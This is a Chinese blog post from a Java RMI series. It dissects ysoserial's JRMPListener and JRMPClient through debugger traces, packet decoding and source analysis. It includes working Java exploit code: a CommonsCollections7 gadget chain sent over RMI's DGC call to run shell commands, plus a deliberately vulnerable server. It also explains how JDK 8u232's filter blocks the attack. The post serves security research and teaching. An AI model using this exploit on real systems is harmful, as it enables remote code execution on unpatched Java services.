标题: Java RMI入门(7) 创建: 2020-04-10 10:18 更新: 2020-04-13 21:42 链接: https://scz.617.cn/network/202004101018.txt -------------------------------------------------------------------------- 目录: ☆ 前言 ☆ ysoserial.payloads.JRMPListener+ysoserial.exploit.JRMPClient 1) VulnerableServer2.java 2) ysoserial.payloads.JRMPListener 2.1) 简化版调用关系 3) ysoserial.exploit.JRMPClient 3.1) 简化版调用关系(重点看这个) 3.2) 相关源码 3.3) 网络通信报文 4) EvilClientWithUnicastRemoteObject.java 4.1) UnicastRemoteObjectTest.java 5) DGCClientWithHashtable.java 6) 测试 7) 8u232为什么失败(有白名单检查) 8) 用DGCClientWithHashtable打常规RMI动态端口 9) 用DGCClientWithHashtable打常规RMI周知端口 ☆ 参考资源 -------------------------------------------------------------------------- ☆ 前言 参看 《Java RMI入门》 https://scz.617.cn/network/202002221000.txt 《Java RMI入门(2)》 https://scz.617.cn/network/202003081810.txt 《Java RMI入门(3)》 https://scz.617.cn/network/202003121717.txt 《Java RMI入门(4)》 https://scz.617.cn/network/202003191728.txt 《Java RMI入门(5)》 https://scz.617.cn/network/202003241127.txt 《Java RMI入门(6)》 https://scz.617.cn/network/202004011650.txt 《Java RMI入门(8)》 https://scz.617.cn/network/202004141657.txt 《Java RMI入门(9)》 https://scz.617.cn/network/202004161823.txt ☆ ysoserial.payloads.JRMPListener+ysoserial.exploit.JRMPClient ysoserial.payloads.JRMPListener会产生一种序列化数据,当存在漏洞的目标反序 列化它们时,会侦听一个RMI动态端口。"ysoserial/CommonsCollections*"系列产生 另一类序列化数据,当存在漏洞的目标反序列化它们时,会执行恶意命令。这么讲你 就明白ysoserial.payloads.JRMPListener的地位了。 ysoserial.exploit.JRMPClient可以用来攻击RMI动态端口。从这个意义上讲,二者 是一对。但ysoserial.exploit.JRMPClient与ysoserial.payloads.JRMPListener 没有必然联系,ysoserial.exploit.JRMPClient可以攻击任何已经存在的RMI周知端 口、动态端口。 ysoserial.payloads.JRMPClient和ysoserial.exploit.JRMPListener是另一对,从 名字上看很容易跟前一对搞混,要仔细些。 另一个对比是,ysoserial.exploit.JRMPClient可以打RMI周知端口、动态端口,而 ysoserial.exploit.RMIRegistryExploit只能打RMI周知端口。 1) VulnerableServer2.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g VulnerableServer2.java */ import java.io.*; import java.net.*; public class VulnerableServer2 { public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); InetAddress bindAddr = InetAddress.getByName( addr ); /* * https://docs.oracle.com/javase/8/docs/api/java/net/ServerSocket.html */ ServerSocket s_listen = new ServerSocket( port, 0, bindAddr ); while ( true ) { Socket s_accept = s_listen.accept(); ObjectInputStream ois = new ObjectInputStream( s_accept.getInputStream() ); Object obj = ois.readObject(); /* * 是为了测试ysoserial.payloads.JRMPListener而故意增加的,否则 * 有点古怪。假设没有这句,只能在挂着调试器运行的情况下得手, * 不需要有断点命中,只需要挂着调试器运行即可。难道有什么时间 * 相关的竞争条件问题存在? */ System.in.read(); ois.close(); s_accept.close(); } } } -------------------------------------------------------------------------- 原本用VulnerableServer.java测试ysoserial.payloads.JRMPListener,发现有古怪。 只能在挂着调试器运行VulnerableServer的情况下得手,不需要有断点命中,只需要 挂着调试器运行即可。怀疑有时间相关的竞争条件问题存在,未深究。挂着调试器运 行VulnerableServer,最大的影响就是执行变缓,基于这种思路,改出 VulnerableServer2.java,通过读stdin产生额外阻塞,果然可以得手。 2) ysoserial.payloads.JRMPListener 参[52] https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/JRMPListener.java java VulnerableServer2 192.168.65.23 1414 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 1314 | nc -n 192.168.65.23 1414 netstat -nltp | grep -E '(1314|1414)' 这个payload并不试图直接执行恶意命令,而是在反序列过程中获得控制,在指定端 口上侦听,这个端口的地位相当于RMI动态端口。 本篇改变一下写作风格,先演示公开工具如何使用,再对之调试分析。 java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ VulnerableServer2 192.168.65.23 1414 jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in sun.rmi.transport.tcp.TCPTransport.listen stop in java.net.ServerSocket.bind(java.net.SocketAddress,int) stop in java.net.AbstractPlainSocketImpl.bind stop in java.net.AbstractPlainSocketImpl.listen monitor wherei 已知有个端口要listen,之前肯定有bind,上面第二个断点是刚开始研究时下的断点, 命中后单步跟踪,就找到其他几个关键函数。并不是用jdb调试的,是用Eclipse,但 复盘时喜欢用jdb表达式,便于聚焦、描述。 [1] java.net.AbstractPlainSocketImpl.listen (AbstractPlainSocketImpl.java:399), pc = 0 [2] java.net.ServerSocket.bind (ServerSocket.java:391), pc = 140 [3] java.net.ServerSocket. (ServerSocket.java:252), pc = 95 [4] java.net.ServerSocket. (ServerSocket.java:143), pc = 5 [5] sun.rmi.transport.proxy.RMIDirectSocketFactory.createServerSocket (RMIDirectSocketFactory.java:45), pc = 5 [6] sun.rmi.transport.proxy.RMIMasterSocketFactory.createServerSocket (RMIMasterSocketFactory.java:345), pc = 5 [7] sun.rmi.transport.tcp.TCPEndpoint.newServerSocket (TCPEndpoint.java:666), pc = 58 [8] sun.rmi.transport.tcp.TCPTransport.listen (TCPTransport.java:335), pc = 85 [9] sun.rmi.transport.tcp.TCPTransport.exportObject (TCPTransport.java:254), pc = 5 [10] sun.rmi.transport.tcp.TCPEndpoint.exportObject (TCPEndpoint.java:411), pc = 5 [11] sun.rmi.transport.LiveRef.exportObject (LiveRef.java:147), pc = 5 [12] sun.rmi.server.UnicastServerRef.exportObject (UnicastServerRef.java:237), pc = 78 [13] java.rmi.server.UnicastRemoteObject.exportObject (UnicastRemoteObject.java:383), pc = 19 [14] java.rmi.server.UnicastRemoteObject.exportObject (UnicastRemoteObject.java:320), pc = 9 [15] java.rmi.server.UnicastRemoteObject.reexport (UnicastRemoteObject.java:266), pc = 19 [16] java.rmi.server.UnicastRemoteObject.readObject (UnicastRemoteObject.java:235), pc = 5 [17] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [18] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [19] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [20] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [21] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [22] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [23] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [24] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [25] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [26] VulnerableServer2.main (VulnerableServer2.java:22), pc = 51 2.1) 简化版调用关系 -------------------------------------------------------------------------- ObjectInputStream.readObject // 8u232 UnicastRemoteObject.readObject UnicastRemoteObject.reexport UnicastRemoteObject.exportObject // RMI编程时,动态端口部分如果不想"extends UnicastRemoteObject" // 就必须显式UnicastRemoteObject.exportObject() UnicastServerRef.exportObject LiveRef.exportObject TCPEndpoint.exportObject TCPTransport.exportObject TCPTransport.listen // 这个listen()的含义很复杂,不只是TCP层的listen TCPEndpoint.newServerSocket // TCPTransport:335 RMIMasterSocketFactory.createServerSocket RMIDirectSocketFactory.createServerSocket ServerSocket. ServerSocket.bind // ServerSocket:252 // 这个bind()实际包含了bind+listen AbstractPlainSocketImpl.bind // ServerSocket:390 AbstractPlainSocketImpl.listen // ServerSocket:391 new NewThreadAction(new AcceptLoop()) // TCPTransport:341 t.start() // TCPTransport:344 // 单开一个线程去accept() -------------------------------------------------------------------------- 上述调用关系主要是讲UnicastRemoteObject.exportObject()在干什么。只不过不是 显式调用的,而是对ysoserial.payloads.JRMPListener产生的payload反序列化时隐 式调用的。简单点说,ysoserial.payloads.JRMPListener得手后侦听RMI动态端口。 3) ysoserial.exploit.JRMPClient 参[52] https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java java_8_40 \ -cp "commons-collections-3.1.jar:." \ VulnerableServer2 192.168.65.23 1414 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 1314 | nc -n 192.168.65.23 1414 netstat -nltp | grep -E '(1314|1414)' java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPClient 192.168.65.23 1314 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here" 如果用8u232跑VulnerableServer2,不会得手。 java_8_40 -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "commons-collections-3.1.jar:." \ VulnerableServer2 192.168.65.23 1414 jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in java.lang.Runtime.exec(java.lang.String) [1] java.lang.Runtime.exec (Runtime.java:347), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:497), pc = 56 [6] org.apache.commons.collections.functors.InvokerTransformer.transform (InvokerTransformer.java:125), pc = 30 [7] org.apache.commons.collections.functors.ChainedTransformer.transform (ChainedTransformer.java:122), pc = 12 [8] org.apache.commons.collections.map.LazyMap.get (LazyMap.java:151), pc = 18 [9] java.util.AbstractMap.equals (AbstractMap.java:472), pc = 118 [10] org.apache.commons.collections.map.AbstractMapDecorator.equals (AbstractMapDecorator.java:129), pc = 12 [11] java.util.Hashtable.reconstitutionPut (Hashtable.java:1,221), pc = 55 [12] java.util.Hashtable.readObject (Hashtable.java:1,195), pc = 117 [13] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [14] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [15] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [16] java.lang.reflect.Method.invoke (Method.java:497), pc = 56 [17] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,017), pc = 20 [18] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:1,896), pc = 93 [19] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:1,801), pc = 181 [20] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,351), pc = 389 [21] java.io.ObjectInputStream.readObject (ObjectInputStream.java:371), pc = 19 [22] sun.rmi.transport.DGCImpl_Skel.dispatch (null), pc = 201 [23] sun.rmi.server.UnicastServerRef.oldDispatch (UnicastServerRef.java:410), pc = 100 [24] sun.rmi.server.UnicastServerRef.dispatch (UnicastServerRef.java:268), pc = 31 [25] sun.rmi.transport.Transport$1.run (Transport.java:200), pc = 23 [26] sun.rmi.transport.Transport$1.run (Transport.java:197), pc = 1 [27] java.security.AccessController.doPrivileged (native method) [28] sun.rmi.transport.Transport.serviceCall (Transport.java:196), pc = 157 [29] sun.rmi.transport.tcp.TCPTransport.handleMessages (TCPTransport.java:568), pc = 185 [30] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0 (TCPTransport.java:790), pc = 441 [31] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$78 (TCPTransport.java:683), pc = 1 [32] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1.753727528.run (null), pc = 4 [33] java.security.AccessController.doPrivileged (native method) [34] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run (TCPTransport.java:682), pc = 58 [35] java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1,142), pc = 95 [36] java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:617), pc = 5 [37] java.lang.Thread.run (Thread.java:745), pc = 11 3.1) 简化版调用关系(重点看这个) DGC是"Distributed Garbage Collection"的缩写,一种分布式垃圾收集机制。只要 侦听RMI周知端口、动态端口,就有DGC在其中出现。 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/sun/rmi/transport/TransportConstants.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/sun/rmi/transport/tcp/TCPTransport.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/sun/rmi/transport/Transport.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/java/rmi/server/UID.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/java/rmi/server/ObjID.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u40-b26/src/share/classes/sun/rmi/server/UnicastServerRef.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCImpl_Skel.java 强调一下,这主要是8u40-b26的调用关系,夹杂了一些8u232的变化。 -------------------------------------------------------------------------- TCPTransport$ConnectionHandler.run0 // 8u40-b26 magic = in.readInt() // TCPTransport:722 // 读"JRMI" version = in.readShort() // TCPTransport:749 // 读0x0002 protocol = in.readByte() // TCPTransport:777 // 读0x4c,SingleOpProtocol TCPTransport.handleMessages // TCPTransport:790 op = in.read() // TCPTransport:550 // 读0x50,Call // 之前都是DataInputStream // 之后都是ObjectInputStream Transport.serviceCall // TCPTransport:568 ObjID.read // Transport:166 // 依次读2、0、0、0 num = in.readLong() // Transport:191 // 读2,ObjID.DGC_ID UID.read // Transport:192 // 依次读0、0、0 unique = in.readInt() // UID:264 time = in.readLong() // UID:265 count = in.readShort() // UID:266 UnicastServerRef.dispatch // Transport:200 num = in.readInt() // UnicastServerRef:265 // 读1,这是op UnicastServerRef.oldDispatch // UnicastServerRef:268 hash = in.readLong() // UnicastServerRef:400 // 读-669196253586618813L DGCImpl_Skel.dispatch // UnicastServerRef:410 // 这次不是RegistryImpl_Skel ObjectInputStream.readObject // case 1流程 // dirty(ObjID[], long, Lease) ObjectInputStream.readOrdinaryObject ObjectInputStream.readClassDesc // 8u40不用看这个流程 ObjectInputStream.readNonProxyDesc ObjectInputStream.filterCheck // 8u232 DGCImpl.checkInput // stop in sun.rmi.transport.DGCImpl.checkInput DGCImpl:409 // 8u232,缺省情况下此处有白名单检查 // 指定-Dsun.rmi.transport.dgcFilter='*' // 将通过此处检查 ObjectInputStream.readSerialData Hashtable.readObject // ysoserial/CommonsCollections7 key = s.readObject() // 8u40不用看这个流程 // 假设指定-Dsun.rmi.transport.dgcFilter='*' // 8u232不会平安经过此处 LazyMap.readObject ObjectInputStream.readHandle ObjectInputStream.filterCheck // 8u232,ObjectInputStream:1701 // filterCheck(null, -1); // just a check for number of references, depth, no class DGCImpl.checkInput DGCImpl:386 // status = dgcFilter.checkInput(filterInfo) // ObjectInputFilter$Config$Global.checkInput ObjectInputFilter:642 // 8u232,返回UNDECIDED DGCImpl:393 // if (filterInfo.depth() > DGC_MAX_DEPTH) // filterInfo.depth()等于6,DGC_MAX_DEPTH等于5 // 即使指定-Dsun.rmi.transport.dgcFilter='*' // 8u232也无法通过此处检查 DGCImpl:394 // 8u232,返回REJECTED Hashtable.reconstitutionPut // 8u40 AbstractMapDecorator.equals AbstractMap.equals LazyMap.get // 此处开始LazyMap利用链 ChainedTransformer.transform InvokerTransformer.transform Runtime.exec -------------------------------------------------------------------------- 调试分析过程比较枯燥,绝大多数人没必要去纠缠细节,如果想深究,参照上面的框 架流程用GUI工具在感兴趣的位置设断,查看调用栈回溯中的各层源码。 流程到达ObjectInputStream.readObject()之前有一堆Header信息需要读,这是一种 私有协议。 3.2) 相关源码 找不到8u40-b26的DGCImpl_Skel.java,只好用JD-GUI反编译查看。 -------------------------------------------------------------------------- /* * sun.rmi.transport.DGCImpl_Skel.dispatch * * 第3形参是op,第4形参是hash */ public void dispatch(Remote paramRemote, RemoteCall paramRemoteCall, int paramInt, long paramLong) throws Exception { /* * hash必须是这个值 */ if (paramLong != -669196253586618813L) { throw new SkeletonMismatchException("interface hash mismatch"); } DGCImpl localDGCImpl = (DGCImpl)paramRemote; ObjID[] arrayOfObjID; long l; Object localObject1; /* * op */ switch (paramInt) { /* * clean(ObjID[], long, VMID, boolean) */ case 0: boolean bool; try { ObjectInput localObjectInput2 = paramRemoteCall.getInputStream(); /* * 此处应该也可以用于攻击,op等于0的流程 */ arrayOfObjID = (ObjID[])localObjectInput2.readObject(); l = localObjectInput2.readLong(); localObject1 = (VMID)localObjectInput2.readObject(); bool = localObjectInput2.readBoolean(); } ... /* * dirty(ObjID[], long, Lease) */ case 1: try { ObjectInput localObjectInput1 = paramRemoteCall.getInputStream(); /* * ysoserial.exploit.JRMPClient至此 */ arrayOfObjID = (ObjID[])localObjectInput1.readObject(); l = localObjectInput1.readLong(); localObject1 = (Lease)localObjectInput1.readObject(); } ... default: throw new UnmarshalException("invalid method number"); } } -------------------------------------------------------------------------- 3.3) 网络通信报文 java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.65.23 1314 CommonsCollections7 "/bin/touch /tmp/scz_is_here" 抓包 ysoserial.exploit.JRMPClient.cap 前面0x32字节如下: 0000000: 4a 52 4d 49 00 02 4c 50 ac ed 00 05 77 22 00 00 JRMI..LP....w".. 0000010: 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 ................ 0000020: 00 00 00 00 00 00 00 01 f6 b6 89 8d 8b f2 86 43 ...............C 0000030: 73 72 sr 手工解码如下: 4a 52 4d 49 // magic 00 02 // version 4c // protocol=SingleOpProtocol 50 // op=Call ac ed 00 05 // STREAM_MAGIC(0xaced) STREAM_VERSION(0x5) 77 22 // TC_BLOCKDATA(0x77) Length(0x22) 00 00 00 00 00 00 00 02 // DataOutputStream.writeLong 00 00 00 00 // DataOutputStream.writeInt 00 00 00 00 00 00 00 00 // DataOutputStream.writeLong 00 00 // DataOutputStream.writeShort 00 00 00 01 // DataOutputStream.writeInt f6 b6 89 8d 8b f2 86 43 // DataOutputStream.writeLong // 0xf6b6898d8bf28643(-669196253586618813L) 73 72 // TC_OBJECT(0x73) TC_CLASSDESC(0x72) ... DataInputStream.write*()相当于TCP层裸写,ObjectInputStream.write*()则是序 列化写。 把[0x8,0x30)的数据截出来,可以用SerializationDumper.jar查看: java -jar SerializationDumper.jar -r tmp.bin STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_BLOCKDATA - 0x77 Length - 34 - 0x22 Contents - 0x0000000000000002000000000000000000000000000000000001f6b6898d8bf28643 4) EvilClientWithUnicastRemoteObject.java 对应ysoserial.payloads.JRMPListener -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file EvilClientWithUnicastRemoteObject.java * java EvilClientWithUnicastRemoteObject 192.168.65.23 1414 1314 * * warning: UnicastServerRef is internal proprietary API and may be removed in a future release * * 为了抑制这个编译时警告,Java 8可以指定"-XDignore.symbol.file" */ import java.io.*; import java.lang.reflect.*; import java.net.Socket; import java.rmi.server.RemoteObject; import java.rmi.server.RemoteRef; import java.rmi.server.UnicastRemoteObject; import sun.rmi.server.UnicastServerRef; import sun.reflect.ReflectionFactory; public class EvilClientWithUnicastRemoteObject { /* * 适配YouDebug脚本 */ public static Object getObject ( int port ) throws Exception { /* * https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html * * Constructor getDeclaredConstructor(Class... parameterTypes) * * RemoteObject是public的,可以直接import,所以不需要Class.forName() * * 也可以用RemoteServer.class.getDeclaredConstructor() */ Constructor cons_0 = RemoteObject.class.getDeclaredConstructor( RemoteRef.class ); cons_0.setAccessible( true ); /* * http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/reflect/ReflectionFactory.java * * public static ReflectionFactory getReflectionFactory() * public Constructor newConstructorForSerialization (Class classToInstantiate, Constructor constructorToCall) * * 这个套路是说,初始化一个UnicastRemoteObject实例,但不要调 * UnicastRemoteObject自己的构造函数,而是调RemoteObject的构造函数。 * 因为UnicastRemoteObject自己的构造函数中会调用 * UnicastRemoteObject.exportObject(),我们不想看到这种局面。 */ Constructor cons_1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization ( /* * 为什么ysoserial.payloads.JRMPListener要用ActivationGroupImpl, * 没有道理啊,直接用UnicastRemoteObject不是更好? */ UnicastRemoteObject.class, cons_0 ); cons_1.setAccessible( true ); UnicastRemoteObject uro = ( UnicastRemoteObject )cons_1.newInstance ( new UnicastServerRef( port ) ); Field f = UnicastRemoteObject.class.getDeclaredField( "port" ); f.setAccessible( true ); f.set( uro, port ); return( uro ); } public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); /* * 攻击得手后侦听的动态端口 */ int newport = Integer.parseInt( argv[2] ); Object obj = getObject( newport ); Socket s_connect = new Socket( addr, port ); ObjectOutputStream oos = new ObjectOutputStream( s_connect.getOutputStream() ); oos.writeObject( obj ); oos.close(); s_connect.close(); } } -------------------------------------------------------------------------- 4.1) UnicastRemoteObjectTest.java 不能用普通的反射方式调用UnicastRemoteObject的构造函数,因为其中会调用 UnicastRemoteObject.exportObject(),直接开始listen(),显然数据准备阶段不想 看到这种效果。我们希望看到的是在反序列化阶段触发listen()。 -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file UnicastRemoteObjectTest.java * java UnicastRemoteObjectTest 1314 */ import java.io.*; import java.lang.reflect.*; import java.rmi.server.UnicastRemoteObject; public class UnicastRemoteObjectTest { public static Object getObject ( int port ) throws Exception { /* * https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html * * Constructor getDeclaredConstructor(Class... parameterTypes) * * UnicastRemoteObject是public的,可以直接import,所以不需要Class.forName() */ Constructor cons = UnicastRemoteObject.class.getDeclaredConstructor( int.class ); cons.setAccessible( true ); UnicastRemoteObject uro = ( UnicastRemoteObject )cons.newInstance( port ); return( uro ); } public static void main ( String[] argv ) throws Exception { int port = Integer.parseInt( argv[0] ); /* * 在数据准备阶段直接开始listen(),非期望行为。 */ Object obj = getObject( port ); System.in.read(); } } -------------------------------------------------------------------------- java UnicastRemoteObjectTest 1314 netstat -nltp | grep -E '(1314|1414)' 5) DGCClientWithHashtable.java 对应ysoserial.exploit.JRMPClient,使用ysoserial/CommonsCollections7。 -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file -cp "commons-collections-3.1.jar" DGCClientWithHashtable.java * java -cp "commons-collections-3.1.jar:." DGCClientWithHashtable 192.168.65.23 1314 "/bin/touch /tmp/scz_is_here" * * warning: MarshalOutputStream is internal proprietary API and may be removed in a future release * * 为了抑制这个编译时警告,Java 8可以指定"-XDignore.symbol.file" */ import java.io.*; import java.util.*; import java.lang.reflect.*; import java.net.Socket; import sun.rmi.server.MarshalOutputStream; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; /* * 从LazyMapExecWithHashtable2.java修改而来 */ public class DGCClientWithHashtable { @SuppressWarnings("unchecked") public static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); } private static void WriteHeader ( Socket s ) throws IOException { DataOutputStream dos = new DataOutputStream( s.getOutputStream() ); /* * "JRMI" */ dos.writeInt( 0x4a524d49 ); dos.writeShort( 0x0002 ); /* * SingleOpProtocol */ dos.writeByte( 0x4c ); /* * Call */ dos.write( 0x50 ); /* * 如果这里关dos,会把s一并关掉 * * dos.close(); */ } private static void WriteBody ( Socket s, Object obj ) throws IOException { /* * http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/MarshalOutputStream.java * * 本来应该用sun.rmi.transport.ConnectionOutputStream,但它不是 * public的,只好用它的父类sun.rmi.server.MarshalOutputStream。 * 这里不能直接用java.io.ObjectOutputStream。MarshalOutputStream重 * 载了annotateClass(),而ObjectOutputStream的annotateClass()是个 * 空函数,啥也没干。MarshalOutputStream重载的annotateProxyClass() * 在本例中不会命中。MarshalOutputStream重载的replaceObject()在本 * 例中不会带来实际区别。 */ MarshalOutputStream mos = new MarshalOutputStream( s.getOutputStream() ); /* * ObjID.DGC_ID */ mos.writeLong( 2 ); /* * unique */ mos.writeInt( 0 ); /* * time */ mos.writeLong( 0 ); /* * count */ mos.writeShort( 0 ); /* * op=1 * * dirty(ObjID[], long, Lease) */ mos.writeInt( 1 ); /* * hash */ mos.writeLong( -669196253586618813L ); mos.writeObject( obj ); mos.close(); } public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); String cmd = argv[2]; Object obj = getObject( cmd ); Socket s_connect = new Socket( addr, port ); WriteHeader( s_connect ); WriteBody( s_connect, obj ); s_connect.close(); } } -------------------------------------------------------------------------- 6) 测试 java_8_40 \ -cp "commons-collections-3.1.jar:." \ VulnerableServer2 192.168.65.23 1414 java EvilClientWithUnicastRemoteObject 192.168.65.23 1414 1314 netstat -nltp | grep -E '(1314|1414)' java \ -cp "commons-collections-3.1.jar:." \ DGCClientWithHashtable 192.168.65.23 1314 \ "/bin/touch /tmp/scz_is_here" 7) 8u232为什么失败(有白名单检查) java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "commons-collections-3.1.jar:." \ VulnerableServer2 192.168.65.23 1414 java EvilClientWithUnicastRemoteObject 192.168.65.23 1414 1314 这一步可以成功,8u232可以得手。 netstat -nltp | grep -E '(1314|1414)' java \ -cp "commons-collections-3.1.jar:." \ DGCClientWithHashtable 192.168.65.23 1314 \ "/bin/touch /tmp/scz_is_here" 这一步失败,8u232已经无法得手。 jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in sun.rmi.transport.DGCImpl.checkInput stop at sun.rmi.transport.DGCImpl:409 [1] sun.rmi.transport.DGCImpl.checkInput (DGCImpl.java:409), pc = 109 [2] sun.rmi.transport.DGCImpl.access$300 (DGCImpl.java:72), pc = 1 [3] sun.rmi.transport.DGCImpl$2.lambda$run$0 (DGCImpl.java:343), pc = 1 [4] sun.rmi.transport.DGCImpl$2$$Lambda$4.787867107.checkInput (null), pc = 1 [5] java.io.ObjectInputStream.filterCheck (ObjectInputStream.java:1,238), pc = 53 [6] java.io.ObjectInputStream.readNonProxyDesc (ObjectInputStream.java:1,877), pc = 154 [7] java.io.ObjectInputStream.readClassDesc (ObjectInputStream.java:1,750), pc = 86 [8] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,041), pc = 22 [9] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [10] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [11] sun.rmi.transport.DGCImpl_Skel.dispatch (DGCImpl_Skel.java:90), pc = 195 [12] sun.rmi.server.UnicastServerRef.oldDispatch (UnicastServerRef.java:469), pc = 137 [13] sun.rmi.server.UnicastServerRef.dispatch (UnicastServerRef.java:301), pc = 44 [14] sun.rmi.transport.Transport$1.run (Transport.java:200), pc = 23 [15] sun.rmi.transport.Transport$1.run (Transport.java:197), pc = 1 [16] java.security.AccessController.doPrivileged (native method) [17] sun.rmi.transport.Transport.serviceCall (Transport.java:196), pc = 157 [18] sun.rmi.transport.tcp.TCPTransport.handleMessages (TCPTransport.java:573), pc = 185 [19] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0 (TCPTransport.java:798), pc = 457 [20] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0 (TCPTransport.java:688), pc = 1 [21] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5.764267969.run (null), pc = 4 [22] java.security.AccessController.doPrivileged (native method) [23] sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run (TCPTransport.java:687), pc = 58 [24] java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1,149), pc = 95 [25] java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:624), pc = 5 [26] java.lang.Thread.run (Thread.java:748), pc = 11 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/io/ObjectInputStream.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCImpl.java -------------------------------------------------------------------------- /* * sun.rmi.transport.DGCImpl.checkInput */ /** * ObjectInputFilter to 